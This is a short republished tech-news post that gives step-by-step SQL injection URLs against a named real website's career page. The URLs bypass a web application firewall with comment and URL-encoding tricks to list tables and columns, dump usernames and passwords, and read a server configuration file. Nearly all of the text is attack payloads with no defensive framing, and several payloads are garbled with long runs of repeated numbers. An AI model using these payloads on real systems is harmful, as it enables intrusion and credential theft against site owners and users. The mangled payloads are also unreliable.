Shulou(Shulou.com)06/01 Report--

Waf filters keywords such as union select from.

1. List all tables in the current library

Http://jyht.co.uk/career.php

? id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4 % 28%53%45%4C%45%43%54%20%47%52%4F%55%50%5F%43%4F%4E%43%41%54%28%69%2E%54%41%42%4C%45%5F%4E%41%4D%45%2C%30%78%33%43%36%32%37%32%32%46%33%45%29%20%46%52%4F%4D%20%69%6E%66%6F%72%6D%61 % 74% 69% 6F% 6e% 5F% 73% 63% 68% 65% 6D% 61% 2e% 54% 41% 42% 4C% 45% 53% 20% 69% 20% 57% 48% 45% 52% 45% 20% 69% 2e% 54% 41% 42% 4C% 45% 5F% 53% 43% 45% 4D% 41% 20% 3D% 20% 64% 61% 71% 61% 62% 61% 73% 65% 28% 29% 296 7,8,9,10,11,12,13,14,15,16,17,18

two。 Get field

Http://jyht.co.uk/career.php

? id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,group_concat (COLUMN_NAME,0x3C2F62723E), 6, 7, 8, 9 10 and 11, 12, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 16, 17, 18, 14, 12, 12, 12, 12, 12, 12, 14, 14, 14, 14, 14, 14, 10, 14, 14, 10, 14, 14, 10, 14, 14, 10, 12, 14, 14, 14, 14, 12, 12, 12, 12, 12, 12, 14, 14, 14, 14, 12, 14, 14, 14, 14, 14, 14, 16, 16, 18, 10, 12, 12, 12, 14, 14, 14, 10, 12, 12, 14, 14, 14, 14, 10, 12, 14, 10, 12, 14, 10, 12, 12, 14, 10, 12, 14, 14, 10, 12, 14, 10, 12, 12, 12, 12, 14, 10, 12, 12, 12, 12, 14, 14, 14, 10, 12, 14, 14, 14, 14, 14, 14, 14, 14, 10, 14, 14, 14, 14, 14, 14, 10, 14, 14, 14, 10, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 16, 17, 18, 10, 12, 14, 14, 14, 14, 36% 31% 36% 37% 36% 35% 37% 32

3. Get data directly

Http://jyht.co.uk/career.php

? id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,group_concat (id,0x3d,username,0x3d,password,0x3C62722F3E), 5, 6, 7, 8, 9, 10, 11, 11, 13, 14, 15, 16, 17, 18, 12, 12, 12, 14, 15, 16, 17, 18, 6, 6, 6, 6, 5, 6, 6, 6, 5, 6, 6, 5, 6, 6, 6, 5, 6, 5, 6, 6, 5, 6, 6, 6, 5, 6, 5, 6, 6, 6, 6, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,

4. Read files can be directly displayed on the page without hex (must be root)

Http://jyht.co.uk/career.php

Id=-11/**//**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,hex (load_file (0x443A5C776562736974655C6A696E797568656E67746F6E675C6A7968742E636F2E756B5C636C6173735C64625F6D7973716C2E636C6173732E706870)), 6, 7, 8, 9, 10, 11, 11, 14, 14, 15, 16, 17, 18

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.